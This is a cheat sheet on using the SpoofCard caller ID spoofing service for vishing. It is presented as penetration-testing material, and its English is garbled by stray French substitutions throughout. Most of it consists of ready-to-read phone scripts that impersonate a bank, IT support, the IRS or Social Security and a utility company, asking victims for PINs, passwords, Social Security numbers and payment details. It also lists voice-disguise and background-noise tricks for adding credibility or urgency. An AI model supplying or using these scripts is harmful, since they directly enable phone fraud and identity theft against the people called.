SpoofCard Caller ID Spoofing aide-mémoire
Overview
SpoofCard is a commercial caller ID spoofing service that allows users to change their caller ID information when making phone calls. Originally designed for legitimate purposes like privacy protection and business communications, it has become a popular tool in ingénierie sociale and vishing (voice hameçonnage) attacks. SpoofCard enables attackers to impersonate trusted entities, making their calls appear to come from banks, government agencies, or other legitimate organizations.
⚠️ Warning: This tool is intended for authorized tests de pénétration and ingénierie sociale awareness training only. Unauthorized use of caller ID spoofing for fraudulent purposes is illegal in many jurisdictions. Ensure you have proper autorisation before conducting vishing campaigns.

Advanced Techniques
Voice ingénierie sociale Scripts
# Bank Impersonation Script:
"Hello, this is [Name] from [Bank Name] Security Department.
We've detected suspicious activity on your account ending in [last 4 digits].
For your security, we need to verify your identity.
Can you please confirm your full account number and PIN?"
# IT Support Impersonation:
"Hi, this is [Name] from IT Support.
We're experiencing a security incident and need to verify your identifiants.
Can you please provide your nom d'utilisateur and mot de passe so we can secure your account?"
# Government Agency Impersonation:
"This is [Name] from the IRS/Social Security Administration.
There's an urgent matter regarding your account.
We need to verify your Social Security Number and date of birth immediately."
# Utility Company Impersonation:
"This is [Name] from [Utility Company].
Your service will be disconnected today due to non-payment.
To avoid disconnexion, please provide your account information and payment details."
Voice Modulation Techniques
# SpoofCard Voice options:
# - Normal (no change)
# - Deeper (lower pitch)
# - Higher (higher pitch)
# - Robotic (electronic effect)
# - Whisper (quiet/secretive)
# - Echo (reverb effect)
# - Slow (reduced speed)
# - Fast (increased speed)
# Voice Training Tips:
# - Practice different accents
# - Study cible organization's communication style
# - Use appropriate technical terminology
# - Match the urgency level to the scenario
# - Prepare for common questions/objections
Background Noise Injection
# Available Background Sounds:
# - Office environment
# - Call center noise
# - Traffic/street sounds
# - Airport/travel sounds
# - Restaurant/public spaces
# - Static/poor connexion
# - Construction noise
# - Emergency sirens
# Strategic Use of Background Noise:
# - Office sounds for business calls
# - Call center noise for support calls
# - Poor connexion to limit conversation time
# - Emergency sounds for urgency
# - Public spaces for mobile/urgent calls
